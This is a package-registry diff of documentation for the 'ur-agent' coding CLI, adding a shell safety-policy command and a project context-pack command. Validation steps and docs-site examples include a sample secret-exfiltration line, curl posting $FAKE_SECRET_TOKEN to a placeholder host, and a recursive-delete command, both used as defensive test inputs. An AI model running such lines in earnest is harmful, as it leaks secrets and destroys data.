ur-agent 1.18.0 → 1.19.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  # Agent Feature Expansion
2
2
 
3
- This page tracks the nine agent-platform additions that were prioritized after
3
+ This page tracks the agent-platform additions that were prioritized after
4
4
  comparing UR with current Codex, Claude Code, Copilot, and Jules-style agent
5
5
  workflows.
6
6
 
@@ -25,6 +25,12 @@ ur bg run "fix the flaky parser test" --worktree --dry-run
25
25
  ur test-first detect
26
26
  ur test-first --dry-run
27
27
  ur test-first install
28
+ ur safety status
29
+ ur safety init
30
+ ur safety check --command "rm -rf build"
31
+ ur context-pack scan
32
+ ur context-pack remember --decision "Use package scripts before ad hoc commands"
33
+ ur context-pack compress
28
34
  ur repo-edit index
29
35
  ur repo-edit preview rename oldName --to newName
30
36
  ur repo-edit apply rename oldName --to newName --check "bun test"
@@ -42,6 +48,13 @@ ur --discover-ollama
42
48
  ur --ollama-host http://192.168.1.50:11434
43
49
  ```
44
50
 
51
+ ## v1.19.0 Additions
52
+
53
+ | Addition | Surface | What it adds |
54
+ | --- | --- | --- |
55
+ | Permission and safety policy | `ur safety status\|init\|check` | Separates read/write/execute/network command permissions, asks before destructive commands, recommends sandboxing for risky operations, and denies common secret-file and secret-like environment exfiltration paths before broad Bash allow rules. |
56
+ | Project context pack | `ur context-pack scan\|remember\|compress` | Builds `.ur/project-manifest.json` and `.ur/context/architecture.md` from manifests, instruction files, Project DNA, verify gates, and safety config; stores task decisions, constraints, commands, diffs, and notes; compresses old context into `.ur/context/compressed.md`. |
57
+
45
58
  ## v1.18.0 Additions
46
59
 
47
60
  | Addition | Surface | What it adds |
@@ -88,6 +101,8 @@ and route model work through the local Ollama-backed UR runtime.
88
101
  | Semantic memory index | `ur semantic-memory build|search` | Local memory index over durable memory, docs, README, and UR instructions |
89
102
  | Claim provenance ledger | `ur claim-ledger add|list|validate` | Maps generated claims to web, file, MCP, tool, or user sources |
90
103
  | Browser replay evals | `ur browser-qa list|validate|run` | Validates replay fixtures and performs lightweight target smoke checks |
104
+ | Permission and safety policy | `ur safety status|init|check` | Project-aware shell safety checks for destructive operations, sandbox recommendations, permission classes, and secret exfiltration denial |
105
+ | Project context pack | `ur context-pack scan|remember|compress` | Architecture manifest, durable task memory, and compressed context summaries based on manifests and instructions |
91
106
 
92
107
  ## Design Notes
93
108
 
@@ -41,6 +41,11 @@ ur arena "implement a debounce helper" --agents 2 --dry-run
41
41
  ur test-first detect
42
42
  ur test-first --dry-run
43
43
  ur test-first install
44
+ ur safety status
45
+ ur safety check --command "rm -rf build"
46
+ ur context-pack scan
47
+ ur context-pack remember --decision "Use manifest commands first"
48
+ ur context-pack compress
44
49
  ur ci-loop --command "bun test" --dry-run
45
50
  ur artifacts capture-diff
46
51
  ur artifacts capture-tests --command "bun test"
@@ -67,6 +72,8 @@ Inside an interactive session:
67
72
  | Long-term memory | Covered | `/remember`, `/forget`, `.ur/memory`, semantic memory, research notes, team memory, consolidation, `ur memory retention` | Tune retention defaults from real long-run telemetry |
68
73
  | Semantic codebase retrieval | Covered | local embedding-based code index (`ur code-index`), opt-in `CodeSearch` tool, incremental re-index, auto-reindex watcher, Ollama embeddings | Add richer symbol-aware ranking |
69
74
  | Reliable repo editing | Covered | `ur repo-edit` builds a file/symbol index, performs AST-aware JS/TS identifier rename planning, previews patches before writing, and applies multi-file edits transactionally with rollback on syntax or check failure | Extend AST edits beyond identifier rename into import moves and signature-aware refactors |
75
+ | Permission and safety policy | Covered | `ur safety`, `.ur/safety-policy.json`, pre-Bash safety evaluation, read/write/execute/network command classes, destructive-command approval, sandbox recommendations, and secret exfiltration denial | Record sandbox attestation in every risky command's evidence trail |
76
+ | Project context management | Covered | `ur context-pack`, `.ur/project-manifest.json`, `.ur/context/*`, Project DNA, instruction files, verify gates, and task memory for decisions/constraints/commands/diffs | Feed the generated project manifest into subagent prompt selection and verifier gate choice |
70
77
  | AGENTS.md interoperability | Covered | `AGENTS.md` loaded as runtime project context (before `UR.md`), plus imported at `ur init` | Keep aligned as the AGENTS.md spec evolves |
71
78
  | Browser and computer-use workflows | Covered | `/browser`, `/chrome`, Playwright-aware tasks, WebSearch, WebFetch, risky-action approval | Add more release fixtures with screenshots and replay assertions |
72
79
  | Provenance and citations | Partial | WebFetch source URLs, `/cite`, `/graph`, `/trace`, evidence ledgers | Add claim-to-source mapping for web/MCP answers |
@@ -0,0 +1,41 @@
1
+ # UR Agent 1.19.0 Upgrade Notes
2
+
3
+ UR 1.19.0 adds two P0 agent reliability surfaces: project safety policy and
4
+ project context packing.
5
+
6
+ ## What Changed
7
+
8
+ - `ur safety status|init|check` evaluates shell command risk before execution.
9
+ - Bash permission checks consult the project safety policy before broad allow
10
+ rules and sandbox auto-allow.
11
+ - The safety policy separates read, write, execute, and network permission
12
+ classes.
13
+ - Destructive commands require approval.
14
+ - Write, execute, and network operations receive sandbox guidance.
15
+ - Common secret-file and secret-like environment exfiltration paths are denied.
16
+ - `ur context-pack scan|remember|compress` writes a manifest-backed repository
17
+ architecture summary and durable task memory.
18
+
19
+ ## New Project Files
20
+
21
+ - `.ur/safety-policy.json` from `ur safety init`
22
+ - `.ur/project-manifest.json` from `ur context-pack scan`
23
+ - `.ur/context/architecture.md`
24
+ - `.ur/context/task-memory.jsonl`
25
+ - `.ur/context/compressed.md`
26
+
27
+ Commit only shared policy and architecture files that are safe for teammates.
28
+ Keep local task memory private when it contains local decisions, file paths, or
29
+ operational notes that should not be shared.
30
+
31
+ ## Validate
32
+
33
+ ```sh
34
+ ur safety status
35
+ ur safety check --command "rm -rf build"
36
+ ur context-pack scan
37
+ ur context-pack remember --decision "Use manifest commands first"
38
+ ur context-pack compress
39
+ bun run typecheck
40
+ bun test
41
+ ```
@@ -1,7 +1,7 @@
1
1
  # UR Agent code feature inventory
2
2
 
3
3
  This file is a code-derived inventory of what this agent can do in the
4
- `ur-agent` 1.18.0 source tree. It is meant to cover behavior that is easy to
4
+ `ur-agent` 1.19.0 source tree. It is meant to cover behavior that is easy to
5
5
  miss in user-facing documentation.
6
6
 
7
7
  Sources traced include:
@@ -181,6 +181,13 @@ The CLI registers these top-level command families in `src/main.tsx`:
181
181
  - `ci-loop` / `heal`: self-healing build/test loop with bounded fix attempts.
182
182
  - `test-first` / `quality-loop` / `tf-loop`: stack-aware compile/test/lint
183
183
  loop with failure traces and `.ur/verify.json` gate installation.
184
+ - `safety` / `safety-policy`: inspect project shell safety policy, initialize
185
+ `.ur/safety-policy.json`, and evaluate commands for read/write/execute/network
186
+ permission class, destructive-command approval, sandbox posture, and secret
187
+ exfiltration denial.
188
+ - `context-pack` / `project-manifest` / `ctx-pack`: write
189
+ `.ur/project-manifest.json`, summarize repository architecture under
190
+ `.ur/context/architecture.md`, record task memory, and compress context.
184
191
  - `artifacts` / `artifact`: create, review, approve, reject, and capture
185
192
  deliverables; comments can steer linked background tasks.
186
193
  - `trigger` / `mention`: parse webhook payloads and optionally launch a run.
@@ -245,6 +252,7 @@ Code-visible slash command names include:
245
252
  - `compliance`
246
253
  - `config`
247
254
  - `context`
255
+ - `context-pack`
248
256
  - `convert`
249
257
  - `copy`
250
258
  - `cost`
@@ -321,6 +329,7 @@ Code-visible slash command names include:
321
329
  - `role-mode`
322
330
  - `route`
323
331
  - `sandbox`
332
+ - `safety`
324
333
  - `scope`
325
334
  - `sdk`
326
335
  - `search`
@@ -626,6 +635,12 @@ The verifier service in `src/services/verifier/**` includes:
626
635
  - bounded fix-runner retries
627
636
  - failure traces under `.ur/test-first/traces/`
628
637
  - gate installation into `.ur/verify.json`
638
+ - Project context pack under `src/services/context/projectContextManifest.ts`:
639
+ - manifest generation from package scripts, Project DNA, instruction files,
640
+ `.ur/verify.json`, `.ur/safety-policy.json`, and other project manifests
641
+ - architecture summary under `.ur/context/architecture.md`
642
+ - task memory JSONL for decisions, constraints, commands, diffs, and notes
643
+ - compressed task context under `.ur/context/compressed.md`
629
644
  - Loop detection.
630
645
  - Rejection cap.
631
646
  - Optional L2 verification subagent through env opt-in.
@@ -646,6 +661,16 @@ Permission modes:
646
661
  Permission features:
647
662
 
648
663
  - Tool-level allow, deny, and ask rules.
664
+ - Project shell safety policy under `src/services/safety/projectSafety.ts`.
665
+ - Command permission classes: read, write, execute, and network.
666
+ - `ur safety check --command <cmd>` previews safety behavior before execution.
667
+ - Bash command permission checks consult the project safety policy before broad
668
+ sandbox auto-allow and exact allow rules.
669
+ - Destructive commands such as recursive remove, hard reset, git clean, forced
670
+ push, recursive chmod/chown, filesystem formatting, infrastructure destroy,
671
+ and cluster delete require approval.
672
+ - Secret exfiltration patterns deny common secret-file reads into transcript
673
+ and likely secret values sent to remote sinks.
649
674
  - MCP server/tool permission rules.
650
675
  - CLI, command, session, user, project, local, and managed setting sources.
651
676
  - Permission request hooks.
@@ -143,6 +143,48 @@ before the agent can declare the task complete. A failing command surfaces
143
143
  to the model as a structured reminder with the command name and the trimmed
144
144
  stdout/stderr.
145
145
 
146
+ ## Project Safety Policy
147
+
148
+ `ur safety` exposes the project shell safety policy:
149
+
150
+ ```sh
151
+ ur safety status
152
+ ur safety init
153
+ ur safety check --command "rm -rf build"
154
+ ```
155
+
156
+ The default policy separates command behavior into read, write, execute, and
157
+ network permission classes. It asks before destructive operations, recommends
158
+ sandboxing for write/execute/network commands, and denies common secret-file or
159
+ secret-like environment exfiltration patterns before broad Bash allow rules.
160
+
161
+ Run `ur safety init` to write `.ur/safety-policy.json`. Commit it only when the
162
+ rules are safe and useful for the whole team; keep machine-local secrets and
163
+ local settings out of Git.
164
+
165
+ ## Project Context Pack
166
+
167
+ `ur context-pack` writes durable architecture context and task memory:
168
+
169
+ ```sh
170
+ ur context-pack scan
171
+ ur context-pack remember --decision "Use package scripts before ad hoc commands"
172
+ ur context-pack remember --constraint "Do not expose secret values"
173
+ ur context-pack remember --command "bun run typecheck"
174
+ ur context-pack remember --diff "Safety policy wired into Bash permission checks"
175
+ ur context-pack compress
176
+ ```
177
+
178
+ Generated files:
179
+
180
+ - `.ur/project-manifest.json` — architecture manifest from Project DNA,
181
+ `package.json`, instruction files, `.ur/verify.json`, `.ur/safety-policy.json`,
182
+ and other manifests.
183
+ - `.ur/context/architecture.md` — human-readable architecture summary.
184
+ - `.ur/context/task-memory.jsonl` — decisions, constraints, commands, diffs,
185
+ and notes.
186
+ - `.ur/context/compressed.md` — compressed task context summary.
187
+
146
188
  Two related slash commands:
147
189
 
148
190
  - `/verify [focus]` — manually run the deep verification subagent (e.g.
@@ -7,7 +7,8 @@
7
7
  - `src/main.tsx` defines top-level CLI flags and subcommands.
8
8
  - `src/commands.ts` registers slash commands and command modules.
9
9
  - `src/tools/` contains tool implementations.
10
- - `src/services/` contains API, MCP, analytics, sync, and runtime services.
10
+ - `src/services/` contains API, MCP, analytics, sync, safety, context, and
11
+ runtime services.
11
12
  - `src/components/` and `src/ink/` implement the terminal UI.
12
13
  - `examples/` contains example prompts and workflows.
13
14
  - `test/` contains Bun tests for local UR utility modules.
@@ -43,6 +44,11 @@ Use `ur test-first detect` when adding a feature to inspect the repository's
43
44
  detected compile/test/lint command set before choosing the final verification
44
45
  commands for the change.
45
46
 
47
+ Use `ur safety check --command "<cmd>"` before documenting or automating risky
48
+ shell commands. Use `ur context-pack scan` when a change adds new manifests,
49
+ command surfaces, or architecture rules that should be captured as project
50
+ context.
51
+
46
52
  The GitHub install path uses the bundled launcher in `dist/cli.js`, so `bun run bundle` must be run before packaging or pushing a release. `bun run release:check` verifies that `package.json`, `bunfig.toml`, the bundle, docs, and `node ./bin/ur.js --version` agree.
47
53
 
48
54
  ## Build
@@ -69,6 +75,9 @@ For top-level commands, also update the static documentation site command data
69
75
  in `documentation/app.js` and any relevant tutorial section in
70
76
  `documentation/index.html`.
71
77
 
78
+ For command surfaces that write `.ur/` state, update configuration and
79
+ validation docs with the generated files and cleanup expectations.
80
+
72
81
  ## Local Command Link
73
82
 
74
83
  From the repository root:
package/docs/USAGE.md CHANGED
@@ -92,6 +92,14 @@ Use `UR.local.md` for private local instructions. It is ignored by `.gitignore`.
92
92
 
93
93
  Project `.ur/` assets can hold settings, skills, agents, MCP config, and local runtime state. Commit only shared files. Keep local memory, generated indexes, logs, and local settings untracked.
94
94
 
95
+ For a manifest-backed summary of the repository, run:
96
+
97
+ ```sh
98
+ ur context-pack scan
99
+ ur context-pack remember --decision "Use package scripts before ad hoc commands"
100
+ ur context-pack compress
101
+ ```
102
+
95
103
  ## Commands
96
104
 
97
105
  UR includes slash commands and CLI subcommands for common workflows:
@@ -104,6 +112,8 @@ UR includes slash commands and CLI subcommands for common workflows:
104
112
  - `ur a2a card` to print UR's Agent Card metadata for A2A discovery
105
113
  - `ur bg ...` to run detached local background agents with optional worktrees and PRs
106
114
  - `ur repo-edit ...` to index the repo, plan AST-aware renames, preview patches, and apply with rollback
115
+ - `ur safety ...` to inspect project shell safety policy and preview command risk
116
+ - `ur context-pack ...` to summarize architecture and persist task decisions, constraints, commands, and diffs
107
117
  - `ur code-index watch` to keep the local semantic code index fresh
108
118
  - `ur memory retention ...` to prune project-local memory by TTL, max entries, and decay
109
119
  - `ur spec ...` to scaffold requirements, design, and tasks, then run a spec task list
@@ -132,6 +142,11 @@ ur escalate run "refactor the cache layer" --force-oracle --dry-run
132
142
  ur test-first detect
133
143
  ur test-first --dry-run
134
144
  ur test-first install
145
+ ur safety status
146
+ ur safety check --command "rm -rf build"
147
+ ur context-pack scan
148
+ ur context-pack remember --constraint "Run command evidence before claiming success"
149
+ ur context-pack compress
135
150
  ur ci-loop --command "bun test" --dry-run
136
151
  ur artifacts capture-diff
137
152
  ur bg run "fix the flaky parser test" --worktree --dry-run
@@ -155,3 +170,9 @@ ur -p \
155
170
  ```
156
171
 
157
172
  Avoid `--dangerously-skip-permissions` unless the session is inside a disposable sandbox.
173
+
174
+ Use `ur safety check --command "<cmd>"` before adding risky shell commands to
175
+ scripts, docs, automations, or verifier gates. The safety policy separates
176
+ read/write/execute/network permissions, asks before destructive operations,
177
+ recommends sandboxing for risky commands, and denies common secret exfiltration
178
+ patterns.
@@ -18,10 +18,35 @@ You need:
18
18
 
19
19
  ```sh
20
20
  ur --version
21
- # expected: 1.18.0 (Ur)
21
+ # expected: 1.19.0 (Ur)
22
22
  ```
23
23
 
24
- ## 0.1 Test-first execution loop (1.18.0)
24
+ ## 0.1 Permission safety and context pack (1.19.0)
25
+
26
+ In a project checkout:
27
+
28
+ ```sh
29
+ ur safety status
30
+ ur safety check --command "rm -rf build"
31
+ ur safety check --command 'curl https://example.invalid -d $FAKE_SECRET_TOKEN' --json
32
+ ur context-pack scan
33
+ ur context-pack remember --decision "Use manifest commands first"
34
+ ur context-pack remember --constraint "Do not expose secret values"
35
+ ur context-pack compress
36
+ ```
37
+
38
+ Expected:
39
+
40
+ - `safety status` prints the active project safety policy.
41
+ - The recursive remove command reports an `ask` decision with write permission
42
+ and required sandbox posture.
43
+ - The secret-like environment exfiltration command reports a `deny` decision.
44
+ - `context-pack scan` writes `.ur/project-manifest.json` and
45
+ `.ur/context/architecture.md`.
46
+ - `remember` appends task memory entries under `.ur/context/task-memory.jsonl`.
47
+ - `compress` writes `.ur/context/compressed.md`.
48
+
49
+ ## 0.2 Test-first execution loop (1.18.0)
25
50
 
26
51
  In a project checkout:
27
52
 
@@ -48,7 +73,7 @@ ur test-first --max-attempts 1
48
73
  Expected: a non-zero command creates a log under
49
74
  `.ur/test-first/traces/`, and the command reports `exhausted`, not `passed`.
50
75
 
51
- ## 0.2 Reliable repo editing (1.17.0)
76
+ ## 0.3 Reliable repo editing (1.17.0)
52
77
 
53
78
  In a disposable checkout:
54
79
 
@@ -66,7 +91,7 @@ Expected:
66
91
  - If the check command exits non-zero, every touched file is restored and the
67
92
  JSON result reports `"rolledBack": true`.
68
93
 
69
- ## 0.3 Network Ollama discovery (1.16.0)
94
+ ## 0.4 Network Ollama discovery (1.16.0)
70
95
 
71
96
  With at least one other Ollama server reachable on your LAN:
72
97
 
@@ -259,6 +284,8 @@ ur spec run validation-demo --all --dry-run
259
284
  ur arena "implement a debounce helper" --agents 2 --dry-run
260
285
  ur escalate run "refactor the cache layer" --force-oracle --dry-run
261
286
  ur test-first --dry-run
287
+ ur safety check --command "rm -rf build"
288
+ ur context-pack scan
262
289
  ur ci-loop --command "bun test" --dry-run
263
290
  ur artifacts capture-tests --command "bun test"
264
291
  ```
@@ -278,6 +305,6 @@ Expected: no `unknown option` or `too many arguments` parser errors.
278
305
  - Step 8 (filter): if `<system-reminder>` appears in visible prose, copy
279
306
  the literal output and file an issue.
280
307
  - Step 9 (direct commands): run `ur --help` and confirm `spec`, `arena`,
281
- `escalate`, `test-first`, `ci-loop`, and `artifacts` appear. If `unknown option` or
308
+ `escalate`, `test-first`, `safety`, `context-pack`, `ci-loop`, and `artifacts` appear. If `unknown option` or
282
309
  `too many arguments` appears, reinstall `ur-agent@latest` and verify the
283
310
  npm version with `npm view ur-agent version`.
@@ -17,6 +17,10 @@ required.
17
17
  When adding a public command, update the `commands` array in `app.js` and add
18
18
  examples to the relevant tutorial or workflow section in `index.html`.
19
19
 
20
+ When a command writes project state, also update `projectFiles` in `app.js`.
21
+ For safety or context features, include the relevant `.ur/` paths and validation
22
+ commands so the static docs match the implementation.
23
+
20
24
  For public feature patches, also check the project-wide docs set:
21
25
 
22
26
  - root `README.md`
@@ -7,9 +7,9 @@ const featureGroups = [
7
7
  },
8
8
  {
9
9
  title: 'Project context',
10
- tags: ['UR.md', 'AGENTS.md', '.ur'],
11
- text: 'Repository instructions, project settings, custom agents, skills, memory, knowledge sources, verification gates, workflows, evals, and local state.',
12
- commands: ['UR.md', 'AGENTS.md', '.ur/agents', '.ur/workflows', '.ur/knowledge'],
10
+ tags: ['UR.md', 'AGENTS.md', '.ur', 'manifest'],
11
+ text: 'Repository instructions, project settings, custom agents, skills, memory, knowledge sources, architecture manifests, verification gates, workflows, evals, and local state.',
12
+ commands: ['UR.md', 'AGENTS.md', 'ur context-pack', '.ur/project-manifest.json', '.ur/context'],
13
13
  },
14
14
  {
15
15
  title: 'Agent platform',
@@ -55,9 +55,9 @@ const featureGroups = [
55
55
  },
56
56
  {
57
57
  title: 'Security and operations',
58
- tags: ['sandbox', 'scope', 'diagnostics'],
59
- text: 'Permission modes, allow/deny tool lists, optional OS sandboxing, diagnostic commands, security scope, threat modeling, hardening, and vulnerability checks.',
60
- commands: ['ur doctor', '/sandbox', '/scope', '/security', '/vuln'],
58
+ tags: ['sandbox', 'scope', 'diagnostics', 'policy'],
59
+ text: 'Permission modes, project safety policy, allow/deny tool lists, optional OS sandboxing, diagnostic commands, security scope, threat modeling, hardening, and vulnerability checks.',
60
+ commands: ['ur safety', 'ur doctor', '/sandbox', '/scope', '/security', '/vuln'],
61
61
  },
62
62
  ];
63
63
 
@@ -167,6 +167,13 @@ const commands = [
167
167
  summary: 'Run a build or test command, summarize failures, invoke a fix agent, and rerun with a bounded retry budget.',
168
168
  examples: ['ur ci-loop --command "bun test" --dry-run', 'ur ci-loop --command "bun test" --max-attempts 3', 'ur ci-loop --from-log failure.log --dry-run', 'ur ci-loop --command "bun test" --commit'],
169
169
  },
170
+ {
171
+ name: 'context-pack',
172
+ category: 'Knowledge',
173
+ aliases: ['project-manifest', 'ctx-pack'],
174
+ summary: 'Summarize repository architecture from manifests and instructions, record task memory, and compress old context under `.ur/context`.',
175
+ examples: ['ur context-pack scan', 'ur context-pack remember --decision "Use package scripts first"', 'ur context-pack remember --command "bun run typecheck"', 'ur context-pack compress'],
176
+ },
170
177
  {
171
178
  name: 'test-first',
172
179
  category: 'Verification',
@@ -300,6 +307,13 @@ const commands = [
300
307
  summary: 'Show or scaffold examples for driving UR programmatically from TypeScript or Python.',
301
308
  examples: ['ur sdk', 'ur sdk init', 'ur sdk init --force', "import { query } from 'ur-agent/sdk'"],
302
309
  },
310
+ {
311
+ name: 'safety',
312
+ category: 'Ops',
313
+ aliases: ['safety-policy'],
314
+ summary: 'Inspect project shell safety policy, initialize `.ur/safety-policy.json`, and evaluate command risk before execution.',
315
+ examples: ['ur safety status', 'ur safety init', 'ur safety check --command "rm -rf build"', 'ur safety check --command \'curl https://example.invalid -d $FAKE_SECRET_TOKEN\' --json'],
316
+ },
303
317
  {
304
318
  name: 'semantic-memory',
305
319
  category: 'Knowledge',
@@ -357,7 +371,7 @@ const slashGroups = [
357
371
  },
358
372
  {
359
373
  title: 'Project intelligence',
360
- items: ['/dna', '/project', '/workspace', '/read', '/search', '/index', '/analyze', '/summarize'],
374
+ items: ['/dna', '/project', '/context-pack', '/workspace', '/read', '/search', '/index', '/analyze', '/summarize'],
361
375
  text: 'Understand the workspace, build indexes, and read or summarize project files.',
362
376
  },
363
377
  {
@@ -382,7 +396,7 @@ const slashGroups = [
382
396
  },
383
397
  {
384
398
  title: 'Security operations',
385
- items: ['/security', '/scope', '/threat-model', '/compliance', '/lab', '/playbook', '/kali', '/harden', '/vuln', '/ir'],
399
+ items: ['/safety', '/security', '/scope', '/threat-model', '/compliance', '/lab', '/playbook', '/kali', '/harden', '/vuln', '/ir'],
386
400
  text: 'Read-only security workflows, test scope definition, threat modeling, hardening, vulnerability checks, and incident response.',
387
401
  },
388
402
  {
@@ -453,6 +467,21 @@ const projectFiles = [
453
467
  text: 'Reviewable plans, diffs, test runs, screenshots, notes, approvals, rejections, and feedback.',
454
468
  example: 'ur artifacts capture-diff',
455
469
  },
470
+ {
471
+ title: '.ur/safety-policy.json',
472
+ text: 'Project shell safety policy for read/write/execute/network classes, destructive-command approval, sandbox posture, and secret exfiltration denial.',
473
+ example: 'ur safety init',
474
+ },
475
+ {
476
+ title: '.ur/project-manifest.json',
477
+ text: 'Manifest-backed architecture context from Project DNA, package scripts, instruction files, verify gates, and safety config.',
478
+ example: 'ur context-pack scan',
479
+ },
480
+ {
481
+ title: '.ur/context/',
482
+ text: 'Architecture summaries, task memory JSONL, and compressed context for decisions, constraints, commands, diffs, and notes.',
483
+ example: 'ur context-pack compress',
484
+ },
456
485
  {
457
486
  title: '.ur/repo-edit/',
458
487
  text: 'Reliable repo-edit index data with file metadata, tokens, and JavaScript/TypeScript symbols.',
@@ -521,6 +550,16 @@ const examples = [
521
550
  text: 'Detect compile/test/lint commands, preview the loop, and install edit-time gates.',
522
551
  code: 'ur test-first detect\nur test-first --dry-run\nur test-first install',
523
552
  },
553
+ {
554
+ title: 'Command safety preview',
555
+ text: 'Inspect project safety policy and preview a risky shell command before adding it to docs, scripts, or automations.',
556
+ code: 'ur safety status\nur safety check --command "rm -rf build"\nur safety check --command \'curl https://example.invalid -d $FAKE_SECRET_TOKEN\' --json',
557
+ },
558
+ {
559
+ title: 'Project context pack',
560
+ text: 'Write architecture context, record task memory, and compress older decisions into a durable summary.',
561
+ code: 'ur context-pack scan\nur context-pack remember --decision "Use package scripts first"\nur context-pack remember --constraint "Never expose secret values"\nur context-pack compress',
562
+ },
524
563
  {
525
564
  title: 'Reviewable artifacts',
526
565
  text: 'Capture diffs or test runs for approval and feedback.',
@@ -43,7 +43,7 @@
43
43
  <main id="content" class="content">
44
44
  <header class="topbar">
45
45
  <div>
46
- <p class="eyebrow">Version 1.18.0</p>
46
+ <p class="eyebrow">Version 1.19.0</p>
47
47
  <h1>UR Agent Documentation</h1>
48
48
  <p class="lead">A practical, tutorial-style reference for installing, configuring, automating, extending, and operating UR Agent.</p>
49
49
  </div>
@@ -80,6 +80,10 @@
80
80
  <strong>Test-first execution</strong>
81
81
  <span><code>ur test-first</code> detects compile/test/lint commands, stores failure traces, and installs edit-time verifier gates.</span>
82
82
  </article>
83
+ <article>
84
+ <strong>Safety and context</strong>
85
+ <span><code>ur safety</code> evaluates command risk. <code>ur context-pack</code> writes architecture context and task memory.</span>
86
+ </article>
83
87
  <article>
84
88
  <strong>Release checks</strong>
85
89
  <span>Typecheck, tests, bundle verification, smoke, package checks, and secret scan are part of the release path.</span>
@@ -146,11 +150,11 @@ ur -p --output-format json "Review the current diff"</code></pre>
146
150
  </article>
147
151
  <article>
148
152
  <h3>Project context</h3>
149
- <p><code>UR.md</code>, <code>AGENTS.md</code>, <code>.ur/agents</code>, <code>.ur/workflows</code>, memory, knowledge, and settings shape behavior.</p>
153
+ <p><code>UR.md</code>, <code>AGENTS.md</code>, <code>.ur/agents</code>, <code>.ur/workflows</code>, <code>.ur/project-manifest.json</code>, memory, knowledge, and settings shape behavior.</p>
150
154
  </article>
151
155
  <article>
152
156
  <h3>Permission boundary</h3>
153
- <p>Tool access is controlled by permission mode, allowed/disallowed tools, sandbox settings, and user approval.</p>
157
+ <p>Tool access is controlled by permission mode, project safety policy, allowed/disallowed tools, sandbox settings, and user approval.</p>
154
158
  </article>
155
159
  <article>
156
160
  <h3>Agent orchestration</h3>
@@ -232,6 +236,20 @@ ur test-first --dry-run
232
236
  ur test-first install</code></pre>
233
237
  </article>
234
238
 
239
+ <article>
240
+ <h3>Preview command safety and pack context</h3>
241
+ <ol>
242
+ <li>Inspect the active safety policy.</li>
243
+ <li>Preview risky command behavior before adding it to scripts or automations.</li>
244
+ <li>Write architecture context and record task decisions.</li>
245
+ </ol>
246
+ <pre><code>ur safety status
247
+ ur safety check --command "rm -rf build"
248
+ ur context-pack scan
249
+ ur context-pack remember --decision "Use manifest commands first"
250
+ ur context-pack compress</code></pre>
251
+ </article>
252
+
235
253
  <article>
236
254
  <h3>Use a multi-agent pattern</h3>
237
255
  <ol>
@@ -386,8 +404,16 @@ ur --model qwen2.5-coder:latest</code></pre>
386
404
  <h3>Permissions</h3>
387
405
  <pre><code>ur -p --allowed-tools "Read,Edit,Bash(git:*)" \
388
406
  --disallowed-tools "Bash(rm:*)" \
389
- "Review the current diff"</code></pre>
390
- <p>Use explicit tool boundaries for automation. Reserve <code>--dangerously-skip-permissions</code> for disposable sandboxes.</p>
407
+ "Review the current diff"
408
+ ur safety check --command "rm -rf build"</code></pre>
409
+ <p>Use explicit tool boundaries for automation. Preview risky commands with <code>ur safety</code>. Reserve <code>--dangerously-skip-permissions</code> for disposable sandboxes.</p>
410
+ </article>
411
+ <article>
412
+ <h3>Project context</h3>
413
+ <pre><code>ur context-pack scan
414
+ ur context-pack remember --constraint "Run command evidence before success claims"
415
+ ur context-pack compress</code></pre>
416
+ <p>Context packs summarize architecture from manifests and preserve task decisions, constraints, commands, and diffs under <code>.ur/context</code>.</p>
391
417
  </article>
392
418
  <article>
393
419
  <h3>Verifier</h3>
@@ -463,7 +489,7 @@ ur claim-ledger validate</code></pre>
463
489
  <article>
464
490
  <h3>New agent-platform command is missing</h3>
465
491
  <pre><code>ur --version
466
- ur --help | grep -E "repo-edit|test-first|spec|arena|escalate|ci-loop|artifacts"
492
+ ur --help | grep -E "repo-edit|test-first|safety|context-pack|spec|arena|escalate|ci-loop|artifacts"
467
493
  npm install -g ur-agent@latest --registry=https://registry.npmjs.org/
468
494
  hash -r</code></pre>
469
495
  </article>
@@ -48,6 +48,17 @@ ur test-first --dry-run
48
48
  ur test-first install
49
49
  ```
50
50
 
51
+ Preview command safety and preserve project context:
52
+
53
+ ```sh
54
+ ur safety status
55
+ ur safety check --command "rm -rf build"
56
+ ur context-pack scan
57
+ ur context-pack remember --decision "Use package scripts before ad hoc commands"
58
+ ur context-pack remember --constraint "Never expose secret values"
59
+ ur context-pack compress
60
+ ```
61
+
51
62
  Use the local memory, evidence, and browser QA helpers:
52
63
 
53
64
  ```sh
@@ -5,5 +5,9 @@
5
5
  - Run `ur a2a card` to print UR's Agent Card metadata for A2A discovery.
6
6
  - Run `ur test-first --dry-run` to preview the detected compile/test/lint
7
7
  evidence loop for the current project.
8
+ - Run `ur safety check --command "rm -rf build"` to preview command permission
9
+ class, destructive approval, and sandbox posture.
10
+ - Run `ur context-pack scan` and `ur context-pack compress` to preserve
11
+ manifest-derived architecture context and task memory.
8
12
  - Use `/agent-trends` inside a session before planning upgrades to local
9
13
  runtime, MCP, A2A, memory, browser, eval, identity, or provenance workflows.
@@ -12,6 +12,11 @@ UR plans, reads files, edits, and can run tests. Safety + stability:
12
12
  - Stack-aware quality loops can use `ur test-first`: detect compile/test/lint
13
13
  commands, store failed command traces, and install the same commands as
14
14
  after-edit verifier gates.
15
+ - Risky commands can be previewed with `ur safety`: classify read/write/execute
16
+ and network permission, require approval for destructive operations, and
17
+ block common secret exfiltration paths.
18
+ - Architecture context can be preserved with `ur context-pack`: scan manifests,
19
+ record decisions/constraints/commands/diffs, and compress old context.
15
20
  - Edits are diffable: `/diff` shows uncommitted changes; `/rewind` rolls back.
16
21
  - Every tool call is recorded to `.ur/actions.jsonl` — see `/actions`, `/evidence`.
17
22
  - `/stability metrics` and `/stability firewall` surface oscillation, repeated
@@ -26,4 +31,8 @@ ur repo-edit apply rename oldName --to newName --check "bun test"
26
31
  ur test-first detect
27
32
  ur test-first --dry-run
28
33
  ur test-first install
34
+ ur safety check --command "rm -rf build"
35
+ ur context-pack scan
36
+ ur context-pack remember --diff "Added the health route and tests"
37
+ ur context-pack compress
29
38
  ```
@@ -5,5 +5,11 @@
5
5
  - Project conventions live in project instruction files and the project DNA file.
6
6
  - `/dna` detects language, package manager, build/test/lint/run commands,
7
7
  ignored folders, and README, saved to `.ur/project_dna.md`.
8
+ - `ur context-pack scan` writes `.ur/project-manifest.json` and
9
+ `.ur/context/architecture.md` from package scripts, instruction files,
10
+ `.ur/verify.json`, and safety config.
11
+ - `ur context-pack remember --decision|--constraint|--command|--diff|--note`
12
+ appends durable task memory to `.ur/context/task-memory.jsonl`; `compress`
13
+ writes `.ur/context/compressed.md`.
8
14
